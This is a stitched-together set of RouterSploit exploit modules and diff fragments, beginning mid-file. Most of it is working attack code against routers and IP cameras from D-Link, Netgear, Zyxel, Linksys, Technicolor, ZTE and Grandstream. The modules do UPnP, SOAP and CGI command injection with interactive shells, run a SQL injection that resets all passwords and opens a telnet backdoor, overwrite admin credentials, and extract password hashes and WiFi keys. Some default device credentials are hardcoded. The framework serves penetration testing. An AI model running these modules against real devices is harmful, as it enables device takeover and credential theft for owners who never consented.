print_error("Failed! Username does not exist or target is not vulnerable.")
print_error("Please change the username and try again.")
else:
print_error("Failed! An unknown error has occurred.")
@mute
def check(self):
# it is not possible to verify if target is vulnerable without exploiting system
return None
...@@ -7,6 +7,7 @@ from routersploit import ( ...@@ -7,6 +7,7 @@ from routersploit import (
print_error, print_error,
print_info, print_info,
mute, mute,
validators,
) )
...@@ -32,7 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -32,7 +33,7 @@ class Exploit(exploits.Exploit):
], ],
} }
target = exploits.Option('', 'Target IP address') target = exploits.Option('', 'Target IP address', validators=validators.address)
payload = "\x00\x01" + "SPDefault.cnf.xml" + "\x00" + "netascii" + "\x00" payload = "\x00\x01" + "SPDefault.cnf.xml" + "\x00" + "netascii" + "\x00"
......
import socket
from routersploit import (
exploits,
print_status,
mute,
shell,
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for D-Link DIR-815 and DIR-850L Remote Code Execution vulnerability.
If the target is vulnerable, command loop is invoked that allows executing commands on the device.
"""
__info__ = {
'name': 'D-Link DIR-815 & DIR-850L RCE',
'description': 'Module exploits D-Link DIR-815 and DIR-850L Remote Code Execution vulnerability which allows executing command on the device.',
'authors': [
'Samuel Huntley', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'https://www.exploit-db.com/exploits/38715/',
],
'devices': [
'D-Link DIR-815',
'D-Link DIR-850L',
]
}
target = exploits.Option('', 'Target IP address e.g. 192.168.1.1')
def run(self):
print_status("It's not possible to check if the target is vulnerable. Try to use following command loop.")
print_status("Invoking command loop...")
print_status("It is blind command injection, response is not available")
shell(self, architecture="mipsel")
def execute(self, cmd):
buf = ('M-SEARCH * HTTP/1.1\r\n'
'HOST:' + self.target + ':1900\r\n'
'ST:urn:schemas-upnp-org:service:WANIPConnection:1;' + cmd + ';ls\r\n'
'MX:2\r\n'
'MAN:"ssdp:discover"\r\n\r\n')
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((self.target, 1900))
s.send(buf)
s.close()
return ""
@mute
def check(self):
return None # it is not possible to check if target is vulnerable without exploiting it
import telnetlib
from routersploit import (
exploits,
mute,
print_error,
print_success,
)
class Exploit(exploits.Exploit):
__info__ = {
'name': 'Grandsteam GXV3611_HD - SQL Injection',
'description': 'Module exploits an SQL injection vulnerability in Grandstream GXV3611_HD IP cameras. '
'After the SQLI is triggered, the module opens a backdoor on TCP/20000 and connects to it',
'authors': [
'pizza1337', # exploit author
'Joshua Abraham', # routesploit module
],
'references': [
'https://www.exploit-db.com/exploits/40441/',
'http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html',
],
'devices': [
'Grandstream GXV3611_HD',
],
}
target = exploits.Option('', 'Target IP address e.g. 192.168.1.1') # target address
port = exploits.Option(23, 'Target port') # default port
def run(self):
if self.check():
print_success("Target appears to be vulnerable...")
try:
conn = telnetlib.Telnet(self.target, self.port)
conn.read_until("Username: ")
conn.write("';update user set password='a';--\r\n") # This changes all the passwords to 'a'
conn.read_until("Password: ")
conn.write("nothing\r\n")
conn.read_until("Username: ")
conn.write("admin\r\n")
conn.read_until("Password: ")
conn.write("a\r\n") # Login with the new password
conn.read_until("> ")
conn.write("!#/ port lol\r\n") # Backdoor command triggers telnet server to startup.
conn.read_until("> ")
conn.write("quit\r\n")
conn.close()
print_success("SQLI successful, going to telnet into port 20000 "
"with username root and no password to get shell")
except Exception:
print_error("Exploit failed. Could not log in.")
try:
conn = telnetlib.Telnet(self.target, 20000)
conn.read_until("login: ")
conn.write("root\r\n")
conn.read_until("Password: ")
conn.write("\r\n")
conn.read_until("# ")
print_success("Authenticaiton Successful")
conn.interact()
except Exception:
print_error("Failed to log into backdoor.")
else:
print_error("Exploit failed. Target does not appear vulnerable")
@mute
def check(self):
try:
conn = telnetlib.Telnet(self.target, self.port)
return 'Grandstream' in conn.read_until("login:")
except Exception:
return False
...@@ -7,6 +7,7 @@ from routersploit import ( ...@@ -7,6 +7,7 @@ from routersploit import (
print_success, print_success,
print_info, print_info,
mute, mute,
validators,
) )
...@@ -30,7 +31,7 @@ class Exploit(exploits.Exploit): ...@@ -30,7 +31,7 @@ class Exploit(exploits.Exploit):
], ],
} }
target = exploits.Option('', 'Target IP address') # target address target = exploits.Option('', 'Target IP address', validators=validators.address) # target address
payload = ("\x00\x01\x00\x00\x0e\x00\xeb\x03\x7f\x0a\x5f\x00\x10\x00\x02\x00\x13\x00\x00\x00\x50\x02\x00\x00\xe0\xf4\x12\x00\xb0\xaa\x19\x00" payload = ("\x00\x01\x00\x00\x0e\x00\xeb\x03\x7f\x0a\x5f\x00\x10\x00\x02\x00\x13\x00\x00\x00\x50\x02\x00\x00\xe0\xf4\x12\x00\xb0\xaa\x19\x00"
"\x18\x87\x15\x00\x84\xfb\x12\x00\x00\x00\x00\x00\x78\x76\x4b\x02\xa8\x87\xec\x01\x00\x00\x00\x00\x38\x12\x19\x00\x10\xf5\x12\x00" "\x18\x87\x15\x00\x84\xfb\x12\x00\x00\x00\x00\x00\x78\x76\x4b\x02\xa8\x87\xec\x01\x00\x00\x00\x00\x38\x12\x19\x00\x10\xf5\x12\x00"
......
import re
from routersploit import (
exploits,
mute,
validators,
http_request,
print_info,
print_success,
print_error,
)
class Exploit(exploits.Exploit):
"""
Exploit Linksys SMART WiFi firmware
If the target is vulnerable it allows remote attackers to obtain the administrator's MD5 password hash
"""
__info__ = {
'name': 'Linksys SMART WiFi Password Disclosure',
'authors': [
'Sijmen Ruwhof', # vulnerability discovery
'0BuRner', # routersploit module
],
'description': 'Exploit implementation for Linksys SMART WiFi Password Disclosure vulnerability. If target is vulnerable administrator\'s MD5 passsword is retrieved.',
'references': [
'https://www.kb.cert.org/vuls/id/447516',
'http://sijmen.ruwhof.net/weblog/268-password-hash-disclosure-in-linksys-smart-wifi-routers',
'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8243',
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8243',
],
'devices': [
'Linksys EA2700 < Ver.1.1.40 (Build 162751)',
'Linksys EA3500 < Ver.1.1.40 (Build 162464)',
'Linksys E4200v2 < Ver.2.1.41 (Build 162351)',
'Linksys EA4500 < Ver.2.1.41 (Build 162351)',
'Linksys EA6200 < Ver.1.1.41 (Build 162599)',
'Linksys EA6300 < Ver.1.1.40 (Build 160989)',
'Linksys EA6400 < Ver.1.1.40 (Build 160989)',
'Linksys EA6500 < Ver.1.1.40 (Build 160989)',
'Linksys EA6700 < Ver.1.1.40 (Build 160989)',
'Linksys EA6900 < Ver.1.1.42 (Build 161129)',
],
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
port = exploits.Option(80, 'Target Port')
def run(self):
if self.check():
print_success("Target seems to be vulnerable")
url = "{}:{}/.htpasswd".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is None:
print_error("Exploit failed - connection error")
return
print_info("Unix crypt hash: $id$salt$hashed") # See more at http://man7.org/linux/man-pages/man3/crypt.3.html
print_success("Hash found:", response.text)
else:
print_error("Exploit failed - target seems to be not vulnerable")
@mute
def check(self):
url = "{}:{}/.htpasswd".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is not None and response.status_code == 200:
res = re.findall("^([a-zA-Z0-9]+:\$[0-9]\$)", response.text)
if len(res):
return True
return False
import io
import re
from routersploit import (
exploits,
print_status,
print_error,
print_success,
http_request,
mute,
validators,
)
from routersploit.utils import lzs
class Exploit(exploits.Exploit):
"""
Exploit implementation for RomPager ROM-0 authentication bypass vulnerability.
If the target is vulnerable it allows to download rom file and extract plaintext password.
"""
__info__ = {
'name': 'RomPager ROM-0',
'description': 'Exploits RomPager ROM-0 authentication bypass vulnerability that allows downloading rom file and extract password without credentials.',
'authors': [
'0BuRner', # routersploit module
],
'references': [
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-4019',
'http://www.osvdb.org/show/osvdb/102668',
'https://dariusfreamon.wordpress.com/tag/rompager/',
'http://rootatnasro.wordpress.com/2014/01/11/how-i-saved-your-a-from-the-zynos-rom-0-attack-full-disclosure/',
'https://antoniovazquezblanco.github.io/docs/advisories/Advisory_RomPagerXSS.pdf',
],
'devices': [
'AirLive WT-2000ARM (2.11.6.0(RE0.C29)3.7.6.1)',
'D-Link DSL-2520U (1.08 Hardware Version: B1)',
'D-Link DSL-2640R',
'D-Link DSL-2740R (EU_1.13 Hardware Version: A1)',
'Huawei 520 HG',
'Huawei 530 TRA',
'Pentagram Cerberus P 6331-42',
'TP-Link TD-8816',
'TP-Link TD-8817 (3.0.1 Build 110402 Rel.02846)',
'TP-LINK TD-8840T (3.0.0 Build 101208 Rel.36427)'
'TP-Link TD-W8901G',
'TP-Link TD-W8951ND',
'TP-Link TD-W8961ND',
'ZTE ZXV10 W300 (W300V1.0.0a_ZRD_CO3)',
'ZTE ZXDSL 831CII (ZXDSL 831CIIV2.2.1a_Z43_MD)'
'ZynOS',
'ZyXEL ES-2024',
'ZyXEL Prestige P-2602HW',
'ZyXEL Prestige 782R',
],
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
if self.check():
print_success("Target is vulnerable")
print_status("Downloading rom-0 file...")
url = "{}:{}/rom-0".format(self.target, self.port)
response = http_request(method="GET", url=url)
response.raise_for_status()
with io.BytesIO(response.content) as f:
print_status("Extracting password from file...")
password = self.extract_password(f)
print_success("Router password is: {}".format(password))
else:
print_error("Target is not vulnerable")
@staticmethod
def extract_password(fhandle):
fpos = 8568
fend = 8788
chunk = "*"
amount = 221
fhandle.seek(fpos)
while fpos < fend:
if fend - fpos < amount:
amount = fend - fpos
chunk = fhandle.read(amount)
fpos += len(chunk)
# Decompress chunk
result, window = lzs.LZSDecompress(chunk)
print_status('Decompressed chunk: {0}'.format(result))
# Extract plaintext password
res = re.findall(b'([\040-\176]{5,})', result)
return res[0]
@mute
def check(self):
url = "{}:{}/rom-0".format(self.target, self.port)
response = http_request(method="HEAD", url=url)
if response is None:
response = http_request(method="GET", url=url)
if response is not None and response.status_code == 200:
return True
return False
from routersploit import (
exploits,
print_status,
print_success,
print_error,
http_request,
mute,
validators,
shell,
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for Netgear R7000 and R6400 Remote Code Execution vulnerability.
If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.
"""
__info__ = {
'name': 'Netgear R7000 & R6400 RCE',
'description': 'Module exploits remote command execution in Netgear R7000 and R6400 devices. If the target is '
'vulnerable, command loop is invoked that allows executing commands on operating system level.',
'authors': [
'Chad Dougherty', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'http://www.sj-vs.net/a-temporary-fix-for-cert-vu582384-cwe-77-on-netgear-r7000-and-r6400-routers/',
'https://www.exploit-db.com/exploits/40889/',
'http://www.kb.cert.org/vuls/id/582384',
],
'devices': [
'R6400 (AC1750)',
'R7000 Nighthawk (AC1900, AC2300)',
'R7500 Nighthawk X4 (AC2350)',
'R7800 Nighthawk X4S(AC2600)',
'R8000 Nighthawk (AC3200)',
'R8500 Nighthawk X8 (AC5300)',
'R9000 Nighthawk X10 (AD7200)',
]
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
port = exploits.Option(80, 'Target Port')
def run(self):
if self.check():
print_success("Target is probably vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection. Try to start telnet with telnet telnetd -p '4445'")
shell(self, architecture="arm")
else:
print_error("Target is not vulnerable")
def execute(self, cmd):
cmd = cmd.replace(" ", "$IFS")
url = "{}:{}/cgi-bin/;{}".format(self.target, self.port, cmd)
http_request(method="GET", url=url)
return ""
@mute
def check(self):
url = "{}:{}/".format(self.target, self.port)
response = http_request(method="HEAD", url=url)
if response is None:
return False # target is not vulnerable
if "WWW-Authenticate" in response.headers.keys():
if any(map(lambda x: x in response.headers['WWW-Authenticate'], ["NETGEAR R7000", "NETGEAR R6400"])):
return True # target is vulnerable
return False # target is not vulnerable
from routersploit import (
exploits,
print_success,
print_error,
print_status,
sanitize_url,
http_request,
mute,
validators
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for Technicolor DWG-855 Authentication Bypass vulnerability.
If the target is vulnerable, it allows us to overwrite arbitrary configuration parameters.
"""
__info__ = {
'name': 'Technicolor DWG-855 Auth Bypass',
'description': 'Module exploits Technicolor DWG-855 Authentication Bypass vulnerability which allows changing administrator\'s password.\n\nNOTE: This module will errase previous credentials, this is NOT stealthy.',
'authors': [
'JPaulMora <https://JPaulMora.GitHub.io>', # vulnerability discovery, routersploit module
'0BuRner', # routersploit module
],
'references': [
'No references, at time of write its a 0day. Check my page though I probably wrote something about it.',
],
'devices': [
'Technicolor DWG-855',
]
}
target = exploits.Option('192.168.0.1', 'Target address e.g. http://192.168.0.1', validators=validators.url)
port = exploits.Option(80, 'Target Port')
nuser = exploits.Option('ruser', 'New user (overwrites existing user)')
npass = exploits.Option('rpass', 'New password (overwrites existing password)')
# The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
vulnresp = "\x11\x44\x75\x63\x6b\x79\x00" # Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"
def run(self):
if self.check():
print_success("Target is vulnerable")
print_status("Changing", self.target, "credentials to", self.nuser, ":", self.npass)
url = sanitize_url("{}:{}/goform/RgSecurity".format(self.target, self.port))
headers = {u'Content-Type': u'application/x-www-form-urlencoded'}
data = {"HttpUserId": self.nuser, "Password": self.npass, "PasswordReEnter": self.npass, "RestoreFactoryNo": "0x00"}
response = http_request(method="POST", url=url, headers=headers, data=data)
if response is None:
print_error("Target did not answer request")
elif response.status_code == 401:
print_error("Target answered, denied access.")
else:
print_success("Credentials changed")
else:
print_error("Exploit failed - Target seems to be not vulnerable")
@mute
def check(self):
url = sanitize_url("{}:{}/logo.jpg".format(self.target, self.port))
user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
headers = {'User-Agent': user_agent,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-language': 'sk,cs;q=0.8,en-US;q=0.5,en;q,0.3',
'Connection': 'keep-alive',
'Accept-Encoding': 'gzip, deflate',
'Authorization': 'Og==', # this is base64(":")
'Cache-Control': 'no-cache'}
response = http_request(method="GET", url=url, headers=headers)
if response is not None and self.vulnresp in response.text.encode('utf-8'):
return True
else:
return False
import binascii
import struct
from Crypto.Cipher import AES
from routersploit import (
exploits,
print_success,
print_error,
print_status,
http_request,
mute,
validators,
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for Technicolor TC7200 password disclosure vulnerability.
If the target is vulnerable, it allows read credentials for administration user.
"""
__info__ = {
'name': 'Technicolor TC7200 Password Disclosure',
'description': 'Module exploits Technicolor TC7200 password disclosure vulnerability which allows fetching administration\'s password.',
'authors': [
'Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)', # vulnerability discovery
'0BuRner', # routersploit module
],
'references': [
'https://www.exploit-db.com/exploits/40157/',
'http://www.search-lab.hu/advisories/secadv-20160720'
],
'devices': [
'Technicolor TC7200',
],
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
port = exploits.Option(80, 'Target Port')
def run(self):
if self.check():
print_success("Target is vulnerable")
url = "{}:{}/goform/system/GatewaySettings.bin".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is not None and response.status_code == 200 and "MLog" in response.text:
print_status("Reading GatewaySettings.bin...")
plain = self.decrypt_backup(response.text)
name, pwd = self.parse_backup(plain)
print_success('Exploit success! login: {}, password: {}'.format(name, pwd))
else:
print_error("Exploit failed. Could not extract config file.")
else:
print_error("Target is not vulnerable")
@staticmethod
def parse_backup(backup):
p = backup.find('MLog')
if p > 0:
p += 6
nh = struct.unpack('!H', backup[p:p + 2])[0]
name = backup[p + 2:p + 2 + nh]
p += 2 + nh
pwd = backup[p + 2:p + 2 + nh]
return name, pwd
return '', ''
@staticmethod
def decrypt_backup(backup):
key = binascii.unhexlify('000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F')
l = (len(backup) / 16) * 16
cipher = AES.new(key, AES.MODE_ECB, '\x00' * 16)
plain = cipher.decrypt(backup[0:l])
return plain
@mute
def check(self):
url = "{}:{}/goform/system/GatewaySettings.bin".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is not None and response.status_code == 200 and "MLog" in response.text:
return True # target is vulnerable
return False # target is not vulnerable
...@@ -58,7 +58,7 @@ class Exploit(exploits.Exploit): ...@@ -58,7 +58,7 @@ class Exploit(exploits.Exploit):
tn.close() tn.close()
except: except:
print_error("Connection error {}:{}".format(self.target, self.port)) print_error("Connection error {}:23".format(self.target))
@mute @mute
def check(self): def check(self):
......
...@@ -10,6 +10,7 @@ from routersploit import ( ...@@ -10,6 +10,7 @@ from routersploit import (
print_success, print_success,
print_status, print_status,
shell, shell,
http_request,
) )
...@@ -20,7 +21,8 @@ class Exploit(exploits.Exploit): ...@@ -20,7 +21,8 @@ class Exploit(exploits.Exploit):
""" """
__info__ = { __info__ = {
'name': 'ZTE ZXV10 RCE', 'name': 'ZTE ZXV10 RCE',
'description': 'Exploits ZTE ZXV10 H108L remote code execution vulnerability that allows executing commands on operating system level.', 'description': 'Exploits ZTE ZXV10 H108L remote code execution vulnerability '
'that allows executing commands on operating system level.',
'authors': [ 'authors': [
'Anastasios Stasinopoulos', # vulnerabiltiy discovery 'Anastasios Stasinopoulos', # vulnerabiltiy discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
...@@ -39,8 +41,6 @@ class Exploit(exploits.Exploit): ...@@ -39,8 +41,6 @@ class Exploit(exploits.Exploit):
username = exploits.Option('root', 'Username to log in with') username = exploits.Option('root', 'Username to log in with')
password = exploits.Option('W!n0&oO7.', 'Password to log in with') password = exploits.Option('W!n0&oO7.', 'Password to log in with')
session = None
def __init__(self): def __init__(self):
self.session = requests.Session() self.session = requests.Session()
...@@ -56,14 +56,15 @@ class Exploit(exploits.Exploit): ...@@ -56,14 +56,15 @@ class Exploit(exploits.Exploit):
def execute(self, cmd): def execute(self, cmd):
path = "/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch&Host=;echo $({})&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit".format(cmd) path = "/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch&Host=;echo $({})&NumofRepeat=1&" \
"DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit".format(cmd)
url = "{}:{}{}".format(self.target, self.port, path) url = "{}:{}{}".format(self.target, self.port, path)
try: try:
response = self.session.get(url) response = http_request("GET", url, self.session)
time.sleep(3) time.sleep(3)
url = "{}:{}/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch".format(self.target, self.port) url = "{}:{}/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch".format(self.target, self.port)
response = self.session.get(url) response = http_request("GET", url, self.session)
time.sleep(1) time.sleep(1)
res = re.findall(r'textarea_1">(.*) -c', response.text) res = re.findall(r'textarea_1">(.*) -c', response.text)
...@@ -87,7 +88,7 @@ class Exploit(exploits.Exploit): ...@@ -87,7 +88,7 @@ class Exploit(exploits.Exploit):
url = "{}:{}/template.gch".format(self.target, self.port) url = "{}:{}/template.gch".format(self.target, self.port)
try: try:
response = self.session.get(url) response = http_request("GET", url, self.session)
except: except:
return return
...@@ -115,7 +116,7 @@ class Exploit(exploits.Exploit): ...@@ -115,7 +116,7 @@ class Exploit(exploits.Exploit):
url = "{}:{}/".format(self.target, self.port) url = "{}:{}/".format(self.target, self.port)
try: try:
response = self.session.get(url=url) response = http_request("GET", url, self.session)
if response is None: if response is None:
return return
...@@ -132,7 +133,7 @@ class Exploit(exploits.Exploit): ...@@ -132,7 +133,7 @@ class Exploit(exploits.Exploit):
"Username": self.username, "Username": self.username,
"Password": self.password} "Password": self.password}
response = self.session.post(url, data=data) response = http_request("POST", url, self.session, data=data)
if "Username" not in response.text and "Password" not in response.text: if "Username" not in response.text and "Password" not in response.text:
print_success("Successful authentication") print_success("Successful authentication")
return True return True
......
from routersploit import (
exploits,
print_error,
print_status,
print_success,
http_request,
mute,
validators,
shell,
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for Zyxel/Eir D1000 Remote Command Execution vulnerability.
If the target is vulnerable it allows to execute commands on operating system level.
"""
__info__ = {
'name': 'Zyxel Eir D1000 RCE',
'description': 'Module exploits Remote Command Execution vulnerability in Zyxel/Eir D1000 devices.'
'If the target is vulnerable it allows to execute commands on operating system level.',
'authors': [
'kenzo', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/',
'https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759',
'https://broadband-forum.org/technical/download/TR-064.pdf',
],
'devices': [
'Zyxel EIR D1000',
],
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
port = exploits.Option(7547, 'Target port') # default port
def run(self):
if self.check():
print_success("Target appears to be vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available")
shell(self, architecture="mips")
else:
print_error("Target seems to be not vulnerable")
def execute(self, cmd):
url = "{}:{}/UD/act?1".format(self.target, self.port)
headers = {"Content-Type": "text/xml",
"SOAPAction": "urn:dslforum-org:service:Time:1#SetNTPServers"}
data = ("<?xml version=\"1.0\"?>"
"<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
" <SOAP-ENV:Body>"
" <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\">"
" <NewNTPServer1>`{}`</NewNTPServer1>" # injection
" <NewNTPServer2></NewNTPServer2>"
" <NewNTPServer3></NewNTPServer3>"
" <NewNTPServer4></NewNTPServer4>"
" <NewNTPServer5></NewNTPServer5>"
" </u:SetNTPServers>"
" </SOAP-ENV:Body>"
"</SOAP-ENV:Envelope>").format(cmd)
http_request(method="POST", url=url, headers=headers, data=data)
return ""
@mute
def check(self): # todo: requires improvement
url = "{}:{}/globe".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is not None:
if response.status_code == 404 and "home_wan.htm" in response.text:
return True # target is vulnerable
return False # target is not vulnerable
import re
from routersploit import (
exploits,
print_error,
print_success,
http_request,
mute,
validators,
print_table,
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for Zyxel/Eir D1000 Password Disclosure vulnerability.
If the target is vulnerable it allows to read WiFi password.
"""
__info__ = {
'name': 'Zyxel Eir D1000 WiFi Password Disclosure',
'description': 'Module exploits WiFi Password Disclosure vulnerability in Zyxel/Eir D1000 devices.'
'If the target is vulnerable it allows to read WiFi password.',
'authors': [
'Xiphos http://www.xiphosresearch.com/', # vulnerability discovery, poc exploit
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'https://github.com/XiphosResearch/exploits/tree/master/tr-06fail',
],
'devices': [
'Zyxel EIR D1000',
],
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
port = exploits.Option(7547, 'Target port') # default port
def run(self):
creds = []
password = self.get_wifi_key()
if password is not None:
creds.append(("WiFi Password", password))
print_success("Target seems to be vulnerable")
print_table(("Parameter", "Value"), *creds)
else:
print_error("Target seems to be not vulnerable")
@mute
def check(self):
if self.get_wifi_key() is not None:
return True # target is vulnerable
return False # target is not vulnerable
def get_wifi_key(self):
url = "{}:{}/UD/act?1".format(self.target, self.port)
headers = {"SOAPAction": "urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys"}
data = ("<?xml version=\"1.0\"?>"
"<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
" <SOAP-ENV:Body>"
" <u:GetSecurityKeys xmlns:u=\"urn:dslforum-org:service:WLANConfiguration:1\">"
" </u:GetSecurityKeys>"
" </SOAP-ENV:Body>"
"</SOAP-ENV:Envelope>")
response = http_request(method="POST", url=url, headers=headers, data=data)
if response is None:
return None
password = re.findall("<NewPreSharedKey>(.*?)</NewPreSharedKey>", response.text)
if len(password):
return password[0]
return None
from routersploit import (
exploits,
print_error,
print_status,
print_success,
http_request,
mute,
validators,
shell,
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for Zyxel P660HN-T v1 Remote Command Execution vulnerability.
If the target is vulnerable it allows to execute commands on operating system level.
"""
__info__ = {
'name': 'Zyxel P660HN-T v1 RCE',
'description': 'Module exploits Remote Command Execution vulnerability in Zyxel P660HN-T v1 devices.'
'If the target is vulnerable it allows to execute commands on operating system level.',
'authors': [
'Pedro Ribeiro <pedrib[at]gmail.com>', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'http://seclists.org/fulldisclosure/2017/Jan/40',
'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt',
'https://blogs.securiteam.com/index.php/archives/2910'
],
'devices': [
'Zyxel P660HN-T v1',
],
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
port = exploits.Option(80, 'Target port') # default port
def run(self):
if self.check():
print_success("Target appears to be vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available")
shell(self, architecture="mips")
else:
print_error("Target seems to be not vulnerable")
def execute(self, cmd):
url = "{}:{}/cgi-bin/ViewLog.asp".format(self.target, self.port)
payload = ";{};#".format(cmd)
data = {"remote_submit_Flag": "1",
"remote_syslog_Flag": "1",
"RemoteSyslogSupported": "1",
"LogFlag": "0",
"remote_host": payload,
"remoteSubmit": "Save"}
http_request(method="POST", url=url, data=data)
return ""
@mute
def check(self):
url = "{}:{}/cgi-bin/authorize.asp".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is None:
return False
if "ZyXEL P-660HN-T1A" in response.text:
return True
return False
import base64
from routersploit import (
exploits,
print_error,
print_status,
print_success,
http_request,
mute,
validators,
shell,
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for Zyxel P660HN-T V2 Remote Command Execution vulnerability.
If the target is vulnerable it allows to execute commands on operating system level.
"""
__info__ = {
'name': 'Zyxel P660HN-T v2 RCE',
'description': 'Module exploits Remote Command Execution vulnerability in Zyxel P660HN-T V2 devices.'
'If the target is vulnerable it allows to execute commands on operating system level.',
'authors': [
'Pedro Ribeiro <pedrib[at]gmail.com>', # vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'http://seclists.org/fulldisclosure/2017/Jan/40',
'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt',
'https://blogs.securiteam.com/index.php/archives/2910'
],
'devices': [
'Zyxel P660HN-T v2',
],
}
target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address
port = exploits.Option(80, 'Target port') # default port
username = exploits.Option('supervisor', 'Username for the web interface')
password = exploits.Option('zyad1234', 'Password for the web interface')
session = None
def run(self):
if self.check():
print_success("Target appears to be vulnerable")
print_status("Invoking command loop...")
print_status("It is blind command injection - response is not available. Command length up to 28 characters.")
shell(self, architecture="mips")
else:
print_error("Target seems to be not vulnerable")
def execute(self, cmd):
url = "{}:{}/cgi-bin/pages/maintenance/logSetting/logSet.asp".format(self.target, self.port)
payload = "1.1.1.1`{}`&#".format(cmd)
data = {
"logSetting_H": "1",
"active": "1",
"logMode": "LocalAndRemote",
"serverPort": "123",
"serverIP": payload
}
http_request(method="POST", url=url, data=data, session=self.session)
return ""
@mute
def check(self):
url = "{}:{}/js/Multi_Language.js".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is None:
return False
if "P-660HN-T1A_IPv6" in response.text:
return True
return False
def login(self):
credentials = base64.encode("{}:{}".format(self.username, self.password))
url = "{}:{}/cgi-bin/index.asp?" + credentials
data = {
"Loginuser": "supervisor",
"Prestige_Login": "Login"
}
response = http_request(method="POST", url=url, data=data, session=self.session)
if response is not None and response.status_code == 200:
return True
return False
from __future__ import absolute_import
from .autopwn import Exploit as BaseScanner
class Exploit(BaseScanner):
"""Scanner implementation for BHU vulnerabilities."""
__info__ = {
'name': 'BHU Scanner',
'description': 'Scanner module for BHU devices',
'authors': [
'Tao "depierre" Sauvage',
],
'references': (
'',
),
'devices': (
'BHU uRouter',
),
}
vendor = 'bhu'
from __future__ import absolute_import
from .autopwn import Exploit as BaseScanner
class Exploit(BaseScanner):
"""
Scanner implementation for Billion vulnerabilities.
"""
__info__ = {
'name': 'Billion Scanner',
'description': 'Scanner module for Billion devices',
'authors': [
'Mariusz Kupidura <f4wkes[at]gmail.com>', # routersploit module
],
'references': (
'',
),
'devices': (
'Billion',
),
}
vendor = 'billion'
from __future__ import absolute_import
from .autopwn import Exploit as BaseScanner
class Exploit(BaseScanner):
"""
Scanner implementation for Zyxel vulnerabilities.
"""
__info__ = {
'name': 'Zyxel Scanner',
'description': 'Scanner module for Zyxel devices',
'authors': [
'Mariusz Kupidura <f4wkes[at]gmail.com>', # routersploit module
],
'references': (
'',
),
'devices': (
'Zyxel',
),
}
vendor = 'zyxel'
